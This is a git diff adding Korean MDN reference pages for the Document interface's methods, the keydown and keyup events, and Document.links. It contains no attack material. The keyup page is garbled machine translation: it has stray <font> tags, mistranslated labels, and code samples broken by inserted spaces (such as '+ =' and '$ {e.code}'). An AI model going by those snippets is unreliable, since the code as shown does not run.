+ <dd>새로운 CDATA 노드를 생성하고 반환합니다.</dd>
+ <dt>{{domxref("Document.createComment()")}}</dt>
+ <dd>새로운 주석 노드를 생성하고 반환합니다.</dd>
+ <dt>{{domxref("Document.createDocumentFragment()")}}</dt>
+ <dd>새로운 문서 조각을 생성합니다.</dd>
+ <dt>{{domxref("Document.createElement()")}}</dt>
+ <dd>주어진 태그명을 사용해 새로운 요소를 생성합니다.</dd>
+ <dt>{{domxref("Document.createElementNS()")}}</dt>
+ <dd>주어진 태그명과 네임스페이스 URI를 갖는 새로운 요소를 생성합니다.</dd>
+ <dt>{{domxref("Document.createEntityReference()")}} {{obsolete_inline}}</dt>
+ <dd>새로운 개체 참조를 생성하고 반환합니다.</dd>
+ <dt>{{domxref("Document.createEvent()")}}</dt>
+ <dd>이벤트 객체를 생성합니다.</dd>
+ <dt>{{domxref("Document.createNodeIterator()")}}</dt>
+ <dd>{{domxref("NodeIterator")}} 객체를 생성합니다.</dd>
+ <dt>{{domxref("Document.createProcessingInstruction()")}}</dt>
+ <dd>새로운 {{domxref("ProcessingInstruction")}} 객체를 생성합니다.</dd>
+ <dt>{{domxref("Document.createRange()")}}</dt>
+ <dd>{{domxref("Range")}} 객체를 생성합니다.</dd>
+ <dt>{{domxref("Document.createTextNode()")}}</dt>
+ <dd>텍스트 노드를 생성합니다.</dd>
+ <dt>{{domxref("Document.createTouch()")}} {{Deprecated_inline}}</dt>
+ <dd>{{domxref("Touch")}} 객체를 생성합니다.</dd>
+ <dt>{{domxref("Document.createTouchList()")}}</dt>
+ <dd>{{domxref("TouchList")}} 객체를 생성합니다.</dd>
+ <dt>{{domxref("Document.createTreeWalker()")}}</dt>
+ <dd>{{domxref("TreeWalker")}} 객체를 생성합니다.</dd>
+ <dt>{{domxref("Document.enableStyleSheetsForSet()")}}</dt>
+ <dd>지정한 스타일 시트 세트의 스타일 시트를 활성화합니다.</dd>
+ <dt>{{domxref("Document.exitPointerLock()")}} {{experimental_inline}}</dt>
+ <dd>포인터 잠금을 해제합니다.</dd>
+ <dt>{{domxref("Document.getAnimations()")}} {{experimental_inline}}</dt>
+ <dd>문서의 자손 요소를 대상으로 하고, 현재 실행 중인 모든 {{domxref("Animation")}} 객체를 배열로 반환합니다.</dd>
+ <dt>{{domxref("Document.getElementsByClassName()")}}</dt>
+ <dd>주어진 클래스 이름을 갖는 요소의 목록을 반환합니다.</dd>
+ <dt>{{domxref("Document.getElementsByTagName()")}}</dt>
+ <dd>주어진 태그명을 갖는 요소의 목록을 반환합니다.</dd>
+ <dt>{{domxref("Document.getElementsByTagNameNS()")}}</dt>
+ <dd>주어진 태그명과 네임스페이스를 갖는 요소의 목록을 반환합니다.</dd>
+ <dt>{{domxref("Document.hasStorageAccess()")}}</dt>
+ <dd>문서가 퍼스트파티<sup>first-party</sup> 저장소에 접근할 수 있는지 나타내는 {{jsxref("Boolean")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.</dd>
+ <dt>{{domxref("Document.importNode()")}}</dt>
+ <dd>외부 문서의 노드 복제본을 반환합니다.</dd>
+ <dt>{{domxref("Document.normalizeDocument()")}} {{obsolete_inline}}</dt>
+ <dd>개체 대체, 텍스트 노드 정규화 등의 작업을 실행합니다.</dd>
+ <dt>{{domxref("Document.releaseCapture()")}} {{non-standard_inline}}</dt>
+ <dd>문서의 요소에 현재 마우스 캡쳐가 있다면 이를 해제합니다.</dd>
+ <dt>{{domxref("Document.releaseEvents()")}} {{non-standard_inline}} {{Deprecated_inline}}</dt>
+ <dd>{{domxref("Window.releaseEvents()")}}를 확인하세요.</dd>
+ <dt>{{domxref("Document.requestStorageAccess()")}}</dt>
+ <dd>퍼스트파티<sup>first-party</sup> 저장소로의 접근이 가능한 경우 이행하고 불가능한 경우 거부하는 {{jsxref("Promise")}}를 반환합니다.</dd>
+ <dt>{{domxref("Document.routeEvent()")}} {{non-standard_inline}} {{obsolete_inline(24)}}</dt>
+ <dd>{{domxref("Window.routeEvent()")}}를 확인하세요.</dd>
+ <dt>{{domxref("Document.mozSetImageElement()")}} {{non-standard_inline}}</dt>
+ <dd>지정한 요소 ID를 위한 배경 이미지로 사용되도록 요소 변경을 허용합니다.</dd>
+</dl>
+
+<p><code>Document</code> 인터페이스는 {{domxref("ParentNode")}} 인터페이스를 확장합니다.</p>
+
+<dl>
+ <dt>{{domxref("document.getElementById()")}}</dt>
+ <dd>주어진 ID를 가진 요소의 참조를 반환합니다.</dd>
+ <dt>{{domxref("document.querySelector()")}}</dt>
+ <dd>문서 내에서 주어진 선택자를 만족하는 첫 번째 {{jsxref("Element")}}를 반환합니다.</dd>
+ <dt>{{domxref("document.querySelectorAll()")}}</dt>
+ <dd>주어진 선택자를 만족하는 모든 요소의 {{jsxref("NodeList")}}를 반환합니다.</dd>
+</dl>
+
+<p><code>Document</code> 인터페이스는 {{domxref("XPathEvaluator")}} 인터페이스를 확장합니다.</p>
+
+<dl>
+ <dt>{{domxref("document.createExpression()")}}</dt>
+ <dd>나중에 (여러 번) 평가할 수 있도록 <code><a href="https://developer.mozilla.org/en-US/docs/XPathExpression" title="XPathExpression">XPathExpression</a></code>을 컴파일합니다.</dd>
+ <dt>{{domxref("document.createNSResolver()")}}</dt>
+ <dd>{{domxref("XPathNSResolver")}} 객체를 생성합니다.</dd>
+ <dt>{{domxref("document.evaluate()")}}</dt>
+ <dd>XPath 표현을 평가합니다.</dd>
+</dl>
+
+<h3 id="HTML_문서의_확장">HTML 문서의 확장</h3>
+
+<p>HTML 문서를 위한 <code>Document</code> 인터페이스는 HTML5 이전엔 {{domxref("HTMLDocument")}} 인터페이스를 상속하고, 이후로는 확장합니다.</p>
+
+<dl>
+ <dt>{{domxref("document.clear()")}} {{non-standard_inline}} {{Deprecated_inline}}</dt>
+ <dd>최근의 Firefox와 Internet Explorer를 포함하는 주요 최신 브라우저에서, 이 메소드는 아무것도 하지 않습니다.</dd>
+ <dt>{{domxref("document.close()")}}</dt>
+ <dd>작성을 위한 문서 스트림을 닫습니다.</dd>
+ <dt>{{domxref("document.execCommand()")}}</dt>
+ <dd>수정 가능한 문서에서 서식 명령을 실행합니다.</dd>
+ <dt>{{domxref("document.getElementsByName()")}}</dt>
+ <dd>주어진 이름을 갖는 요소의 목록을 반환합니다.</dd>
+ <dt>{{domxref("document.hasFocus()")}}</dt>
+ <dd>포커스가 지정한 문서 내 어느 곳이든 위치한 경우 <code>true</code>를 반환합니다.</dd>
+ <dt>{{domxref("document.open()")}}</dt>
+ <dd>작성을 위한 문서 스트림을 엽니다.</dd>
+ <dt>{{domxref("document.queryCommandEnabled()")}}</dt>
+ <dd>현재 범위에서 서식 명령을 실행할 수 있다면 <code>true</code>를 반환합니다.</dd>
+ <dt>{{domxref("document.queryCommandIndeterm()")}}</dt>
+ <dd>현재 범위에서 서식 명령의 상태를 알 수 없으면 <code>true</code>를 반환합니다.</dd>
+ <dt>{{domxref("document.queryCommandState()")}}</dt>
+ <dd>현재 범위에서 서식 명령을 실행했다면 <code>true</code>를 반환합니다.</dd>
+ <dt>{{domxref("document.queryCommandSupported()")}}</dt>
+ <dd>현재 범위에서 서식 명령이 지원된다면 <code>true</code>를 반환합니다.</dd>
+ <dt>{{domxref("document.queryCommandValue()")}}</dt>
+ <dd>현재 범위에서 서식 명령을 위한 현재 값을 반환합니다.</dd>
+ <dt>{{domxref("document.write()")}}</dt>
+ <dd>문서에 텍스트를 작성합니다.</dd>
+ <dt>{{domxref("document.writeln()")}}</dt>
+ <dd>문서에 텍스트 한 줄을 작성합니다.</dd>
+</dl>
+
+<h3 id="DocumentOrShadowRoot로부터_포함된_메소드">DocumentOrShadowRoot로부터 포함된 메소드</h3>
+
+<p><code>Document</code> 인터페이스는 {{domxref("DocumentOrShadowRoot")}} 믹스인<sup>mixin</sup>이 정의하는 다음의 메서드를 포함합니다. 지금은 Chrome만 구현한 상태라는 점에 유의하세요. 다른 브라우저는 <code>Document</code> 인터페이스에 구현 중입니다.</p>
+
+<dl>
+ <dt>{{domxref("DocumentOrShadowRoot.getSelection()")}}</dt>
+ <dd>사용자에의해 선택된 텍스트의 범위 또는 캐럿의 현재 위치를 나타내는 {{domxref('Selection')}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("DocumentOrShadowRoot.elementFromPoint()")}}</dt>
+ <dd>지정한 위치에 있는 최상단 엘리먼트를 반환합니다.</dd>
+ <dt>{{domxref("DocumentOrShadowRoot.elementsFromPoint()")}}</dt>
+ <dd>지정한 위치에 있는 모든 엘리먼트의 배열을 반환합니다.</dd>
+ <dt>{{domxref("DocumentOrShadowRoot.caretPositionFromPoint()")}}</dt>
+ <dd>캐럿을 포함하는 DOM 노드와 그 노드내 캐첫의 문자 오프셋을 포함하는 {{domxref('CaretPosition')}} 객체를 반환합니다.</dd>
+</dl>
+
+<h2 id="비표준_확장_non-standard_inline">비표준 확장 {{non-standard_inline}}</h2>
+
+<p>{{non-standard_header}}</p>
+
+<h3 id="Firefox_노트">Firefox 노트</h3>
+
+<p>Mozilla는 XUL 컨텐츠만을 위해 만들어진 비표준 속성의 집합을 정의합니다.</p>
+
+<dl>
+ <dt>{{domxref("document.currentScript")}} {{non-standard_inline}}</dt>
+ <dd>현재 실행중인 {{HTMLElement("script")}} 엘리먼트를 반환합니다.</dd>
+ <dt>{{domxref("document.documentURIObject")}}</dt>
+ <dd>(<strong>Mozilla 부가 기능 전용!</strong>) 다큐먼트의 URI 를 나타내는 {{Interface("nsIURI")}} 객체를 반환합니다. 이 속성은 권한을 가진 자바스크립트 코드(UniversalXPConnect 권한을 갖는)에서만 특별한 의미를 갖습니다.</dd>
+ <dt>{{domxref("document.popupNode")}}</dt>
+ <dd>팝업이 불려진 노드를 반환합니다.</dd>
+ <dt>{{domxref("document.tooltipNode")}}</dt>
+ <dd>현재 툴팁의 대상이되는 노드를 반환합니다.</dd>
+</dl>
+
+<p>Mozilla 는 또한 일부 비표준 메소드를 정의합니다.</p>
+
+<dl>
+ <dt>{{domxref("document.execCommandShowHelp")}} {{obsolete_inline("14.0")}}</dt>
+ <dd>이 메소드는 아무것도 하지 않았지만 항상 예외를 발생시켰으므로 Gecko 14.0 {{geckoRelease("14.0")}} 에서 제거되었습니다.</dd>
+ <dt>{{domxref("document.getBoxObjectFor")}} {{obsolete_inline}}</dt>
+ <dd>{{domxref("Element.getBoundingClientRect()")}} 메소드를 대신 사용하세요.</dd>
+ <dt>{{domxref("document.loadOverlay")}}</dt>
+ <dd><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL" title="XUL_Overlays">XUL 오버레이</a>를 동적으로 로드합니다. XUL 다큐먼트에서만 동작합니다.</dd>
+ <dt>{{domxref("document.queryCommandText")}} {{obsolete_inline("14.0")}}</dt>
+ <dd>이 메소드는 아무것도 하지 않았지만 예외를 발생시켰으므로 Gecko 14.0 {{geckoRelease("14.0")}} 에서 제거되었습니다.</dd>
+</dl>
+
+<h3 id="Internet_Explorer_노트">Internet Explorer 노트</h3>
+
+<p>Microsoft는 일부 비표준 속성을 정의합니다.</p>
+
+<dl>
+ <dt>{{domxref("document.fileSize")}}* {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Returns size in bytes of the document. Starting with Internet Explorer 11, that property is no longer supported. See <a href="http://msdn.microsoft.com/en-us/library/ms533752%28v=VS.85%29.aspx" title="http://msdn.microsoft.com/en-us/library/ms533752%28v=VS.85%29.aspx">MSDN</a>.</dd>
+</dl>
+
+<p>Internet Explorer는 <code>Document</code> 인터페이스내 <code>Node</code> 인터페이스의 모든 메소드를 지원하지 않습니다:</p>
+
+<dl>
+ <dt>{{domxref("document.contains")}}</dt>
+ <dd>대안으로 <code>document.body.contains()</code> 를 사용할 수 있습니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#interface-document", "Document")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>DOM 3 대체 의도</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "dom.html#the-document-object", "Document")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>{{domxref("HTMLDocument")}} 인터페이스를 <code>Document</code> 확장으로 전환.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML Editing", "#dom-document-getselection", "Document")}}</td>
+   <td>{{Spec2("HTML Editing")}}</td>
+   <td><code>Document</code> 인터페이스 확장</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#extensions-to-the-document-interface", "Document")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td><code>Document</code> 인터페이스 확장</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM", "#extensions-to-the-document-interface", "Document")}}</td>
+   <td>{{Spec2("CSSOM")}}</td>
+   <td><code>Document</code> 인터페이스 확장</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Pointer Lock", "#extensions-to-the-document-interface", "Document")}}</td>
+   <td>{{Spec2("Pointer Lock")}}</td>
+   <td><code>Document</code> 인터페이스 확장</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Page Visibility API", "#extensions-to-the-document-interface", "Document")}}</td>
+   <td>{{Spec2("Page Visibility API")}}</td>
+   <td><code>visibilityState</code> 와 <code>hidden</code> 속성과 <code>onvisibilitychange</code> 이벤트 리스너를 갖도록 <code>Document</code> 인터페이스 확장.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selection API", "#extensions-to-document-interface", "Document")}}</td>
+   <td>{{Spec2("Selection API")}}</td>
+   <td><code>getSelection()</code>, <code>onselectstart</code> 와 <code>onselectionchange</code> 추가.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#interface-document", "Document")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td>DOM 3 대체</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "#i-Document", "Document")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>DOM 2 대체</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 XPath", "xpath.html#XPathEvaluator", "XPathEvaluator")}}</td>
+   <td>{{Spec2("DOM3 XPath")}}</td>
+   <td>다큐먼트를 확장하는 {{domxref("XPathEvaluator")}} 인터페이스 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "#i-Document", "Document")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>DOM 1 대체</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM1", "#i-Document", "Document")}}</td>
+   <td>{{Spec2("DOM1")}}</td>
+   <td>인터페이스 초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Document")}}</p>
diff --git a/files/ko/web/api/document/keydown_event/index.html b/files/ko/web/api/document/keydown_event/index.html
new file mode 100644
index 0000000000..4d841c084b
--- /dev/null
+++ b/files/ko/web/api/document/keydown_event/index.html
@@ -0,0 +1,153 @@
+---
+title: keydown
+slug: Web/API/Document/keydown_event
+translation_of: Web/API/Document/keydown_event
+---
+<p><code>keydown</code> 이벤트늘 키가 눌렸을 때 발생합니다.</p>
+
+<h2 id="General_info">General info</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keydown">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;"><a href="/en-US/docs/DOM/KeyboardEvent" title="/en-US/docs/DOM/KeyboardEvent">KeyboardEvent</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Document, Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">Varies: <code>keypress</code> event; launch text composition system; <code>blur</code> and <code>focus</code> events; <code>DOMActivate</code> event; other event</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>DOMString</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>Boolean</td>
+   <td>Whether the event normally bubbles or not</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>Boolean</td>
+   <td>Whether the event is cancellable or not?</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td>WindowProxy</td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>EventTarget (DOM element)</td>
+   <td>Focused element processing the key event, root element if no suitable input element focused.</td>
+  </tr>
+  <tr>
+   <td><code>char</code> {{readonlyInline}}</td>
+   <td>DOMString (string)</td>
+   <td>The character value of the key. If the key corresponds to a printable character, this value is a non-empty Unicode string containing that character. If the key doesn't have a printable representation, this is an empty string. See <a href="/en-US/docs/Web/API/KeyboardEvent#Key_names_and_Char_values">key names and char values</a> for the detail.
+    <div class="note"><strong>Note:</strong> If the key is used as a macro that inserts multiple characters, this attribute's value is the entire string, not just the first character.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>key</code> {{readonlyInline}}</td>
+   <td>DOMString (string)</td>
+   <td>The key value of the key represented by the event. If the value has a printed representation, this attribute's value is the same as the <code>char</code> attribute. Otherwise, it's one of the key value strings specified in {{ anch("Key values") }}. If the key can't be identified, this is the string "Unidentified". See <a href="/en-US/docs/Web/API/KeyboardEvent#Key_names_and_Char_values">key names and char values</a> for the detail. Read Only.</td>
+  </tr>
+  <tr>
+   <td><code>charCode</code> {{readonlyInline}}</td>
+   <td>Unsigned long (int)</td>
+   <td>The Unicode reference number of the key; this attribute is used only by the <a href="/en-US/docs/Mozilla_event_reference/keypress"><code>keypress</code></a> event. For keys whose <code>char</code> attribute contains multiple characters, this is the Unicode value of the first character in that attribute.
+    <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>char</code> instead, if available.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>keyCode</code> {{readonlyInline}}</td>
+   <td>Unsigned long (int)</td>
+   <td>A system and implementation dependent numerical code identifying the unmodified value of the pressed key. This is usually the decimal ASCII ({{ RFC(20) }}) or Windows 1252 code corresponding to the key; see {{ anch("Virtual key codes") }} for a list of common values. If the key can't be identified, this value is 0.
+    <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>key</code> instead, if available.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>which</code> {{readonlyInline}}</td>
+   <td>Unsigned long (int)</td>
+   <td>A system and implementation dependent numeric code identifying the unmodified value of the pressed key; this is usually the same as <code>keyCode</code>.
+    <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>key</code> instead, if available.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>location</code> {{readonlyInline}}</td>
+   <td>long (float)</td>
+   <td>The location of the key on the device.</td>
+  </tr>
+  <tr>
+   <td><code>repeat</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if a key has been depressed long enough to trigger key repetition, otherwise <code>false</code>.</td>
+  </tr>
+  <tr>
+   <td><code>locale</code> {{readonlyInline}}</td>
+   <td>string</td>
+   <td>The language code for the key event, if available; otherwise, the empty string.</td>
+  </tr>
+  <tr>
+   <td><code>ctrlKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>shiftKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>altKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>metaKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="preventDefault()_of_keydown_event"><code>preventDefault()</code> of <code>keydown</code> event</h2>
+
+<p>Starting with Gecko 25, a call of <code>preventDefault()</code> of <code>keydown</code> event prevents to dispatch following <code>keypress</code> event. This is valid behavior for D3E spec and the other major web browsers behave so. On the other hand, Gecko 24 or earlier dispatched <code>keypress</code> event even if <code>preventDefault()</code> of preceding <code>keydown</code> event is called. Although the <code>keypress</code> event's <code>defaultPrevented</code> attribute was <code>true</code> in this case.</p>
+
+<h2 id="Related_Events">Related Events</h2>
+
+<ul>
+ <li>{{event("keydown")}}</li>
+ <li>{{event("keyup")}}</li>
+ <li>{{event("keypress")}}</li>
+ <li>{{event("input")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/keyup_event/index.html b/files/ko/web/api/document/keyup_event/index.html
new file mode 100644
index 0000000000..766928b715
--- /dev/null
+++ b/files/ko/web/api/document/keyup_event/index.html
@@ -0,0 +1,99 @@
+---
+title: 'Document: keyup event'
+slug: Web/API/Document/keyup_event
+translation_of: Web/API/Document/keyup_event
+---
+<div><font><font>{{APIRef}}</font></font></div>
+
+<p><strong><code>keyup</code></strong><font><font>키를 놓을 때 이벤트가 발생합니다.</font></font></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><font><font>거품</font></font></th>
+   <td><font><font>예</font></font></td>
+  </tr>
+  <tr>
+   <th scope="row"><font><font>취소 가능</font></font></th>
+   <td><font><font>예</font></font></td>
+  </tr>
+  <tr>
+   <th scope="row"><font><font>상호 작용</font></font></th>
+   <td><font><font>{{domxref ( "KeyboardEvent")}}</font></font></td>
+  </tr>
+  <tr>
+   <th scope="row"><font><font>이벤트 핸들러 속성</font></font></th>
+   <td><font><font>{{domxref ( "GlobalEventHandlers.onkeyup", "onkeyup")}}</font></font></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><font><font>{{domxref ( "Document / keydown_event", "keydown")}} 및 </font></font><code>keyup</code><font><font>이벤트는 어떤 키를 눌렀는지 나타내는 코드를 제공하고 {{domxref ( "Document / keypress_event", "keypress")}} </font><font>는 입력 </font><font>된 </font></font><em><font><font>문자를</font></font></em><font><font> 나타냅니다. </font><font>. </font><font>예를 들어, 소문자 "a"는 </font></font><code>keydown</code><font><font>및 </font></font><code>keyup</code><font><font>에서는 </font><font>65로보고 </font><font>되지만에서는 97 </font><font>로보고 </font><font>됩니다 </font></font><code>keypress</code><font><font>. </font><font>모든 이벤트에서 대문자 "A"는 65로보고됩니다.</font></font></p>
+
+<div class="blockIndicator note">
+<p><strong><font><font>참고 :</font></font></strong><font><font> 입력 값의 변경에 대응하는 방법을 찾고 있다면 </font></font><a href="/en-US/docs/Web/API/HTMLElement/input_event"><code>input</code><font><font>event를</font></font></a><font><font> 사용해야합니다 </font><font>. </font></font><code>keyup</code><font><font>예를 들어 컨텍스트 메뉴의 텍스트를 텍스트 입력에 붙여 넣는 등의 </font><font>일부 변경 사항은에서 감지 할 수 없습니다 </font><font>.</font></font></p>
+</div>
+
+<p><font><font>Firefox 65부터 </font></font><code>keyup</code><font><font>CJKT 사용자의 브라우저 간 호환성을 개선하기 위해 </font><font>{{domxref ( "Document / keydown_event", "keydown")}} 및 </font><font>이벤트가 이제 IME 작성 중에 실행됩니다 ({{bug (354358)}}, 자세한 내용 </font></font><a href="https://www.fxsitecompat.com/en-CA/docs/2018/keydown-and-keyup-events-are-now-fired-during-ime-composition/"><font><font>은 IME 작성 중에 keydown 및 keyup 이벤트가 시작</font></font></a><font><font> 됩니다. </font><font>작성의 </font></font><code>keyup</code><font><font>일부인 </font><font>모든 </font><font>이벤트 </font><font>를 무시하려면 </font><font>다음과 같이 수행하십시오 (229는 </font></font><code>keyCode</code><font><font>IME에 의해 처리 된 이벤트 관련에 </font><font>대한 특수 값 세트입니다 </font><font>).</font></font></p>
+
+<pre class="brush: js notranslate"><font><font>eventTarget.addEventListener ( "keyup", event =&gt; { </font></font><font><font>
+  if (event.isComposing || event.keyCode === 229) { </font></font><font><font>
+    return; </font></font><font><font>
+  } </font></font><font><font>
+  // 무언가를합니다 </font></font><font><font>
+});</font></font>
+</pre>
+
+<h2 id="예"><font><font>예</font></font></h2>
+
+<p><font><font>이 예에서는 키를 놓을 때마다 {{domxref ( "KeyboardEvent.code")}} 값을 기록합니다.</font></font></p>
+
+<h3 id="addEventListener_키업_예제"><font><font>addEventListener 키업 예제</font></font></h3>
+
+<pre class="brush: html notranslate"><font><font>&lt;p&gt; 먼저 IFrame에 초점을 맞춘 다음 (예 : 클릭하여) 몇 가지 키를 눌러보십시오. &lt;/ p&gt; </font></font><font><font>
+&lt;p id = "log"&gt; &lt;/ p&gt;</font></font></pre>
+
+<pre class="brush: js notranslate"><font><font>const log = document.getElementById ( 'log'); </font></font>
+<font><font>
+document.addEventListener ( 'keyup', logKey); </font></font>
+<font><font>
+function logKey (e) { </font></font><font><font>
+  log.textContent + =`$ {e.code}`; </font></font><font><font>
+}</font></font></pre>
+
+<p><font><font>{{EmbedLiveSample ( "addEventListener_keyup_example")}}</font></font></p>
+
+<h3 id="onkeyup_해당"><font><font>onkeyup 해당</font></font></h3>
+
+<pre class="brush: js notranslate"><font><font>document.onkeyup = logKey;</font></font></pre>
+
+<h2 id="명세서"><font><font>명세서</font></font></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><font><font>사양</font></font></th>
+   <th scope="col"><font><font>상태</font></font></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><font><font>{{SpecName ( "UI 이벤트", "# event-type-keyup")}}</font></font></td>
+   <td><font><font>{{Spec2 ( "UI 이벤트")}}</font></font></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성"><font><font>브라우저 호환성</font></font></h2>
+
+<div class="hidden"><font><font>이 페이지의 호환성 표는 구조화 된 데이터에서 생성됩니다. </font><font>데이터에 기여하고 싶다면 </font></font><a href="https://github.com/mdn/browser-compat-data"><font><font>https://github.com/mdn/browser-compat-data</font></font></a><font><font> 에서 풀 리퀘스트를 보내주세요.</font></font></div>
+
+<p><font><font>{{Compat ( "api.Document.keyup_event")}}</font></font></p>
+
+<h2 id="또한보십시오"><font><font>또한보십시오</font></font></h2>
+
+<ul>
+ <li><font><font>{{domxref ( "Document / keydown_event", "keydown")}}</font></font></li>
+ <li><font><font>{{domxref ( "Document / keypress_event", "keypress")}}</font></font></li>
+ <li><font><font>{{domxref ( "Element")}} : {{domxref ( "Element / keyup_event", "keyup")}} 이벤트</font></font></li>
+</ul>
diff --git a/files/ko/web/api/document/links/index.html b/files/ko/web/api/document/links/index.html
new file mode 100644
index 0000000000..4087ef0c0e
--- /dev/null
+++ b/files/ko/web/api/document/links/index.html
@@ -0,0 +1,102 @@
+---
+title: Document.links
+slug: Web/API/Document/links
+tags:
+  - Document
+  - Links
+  - a
+  - area
+  - href
+translation_of: Web/API/Document/links
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code>links </code>속성은 document 내에서 <a href="/en-US/docs/Web/API/URLUtils.href">href</a> attribute 를 가지는 모든 {{HTMLElement("area")}} 과 {{HTMLElement("a")}} element 들의 collection 을 반환한다.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="eval"><em>nodeList</em> = document.links
+</pre>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush: js">var links = document.links;
+for(var i = 0; i &lt; links.length; i++) {
+  var linkHref = document.createTextNode(links[i].href);
+  var lineBreak = document.createElement("br");
+  document.body.appendChild(linkHref);
+  document.body.appendChild(lineBreak);
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-links', 'Document.links')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-7068919", "document.links")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
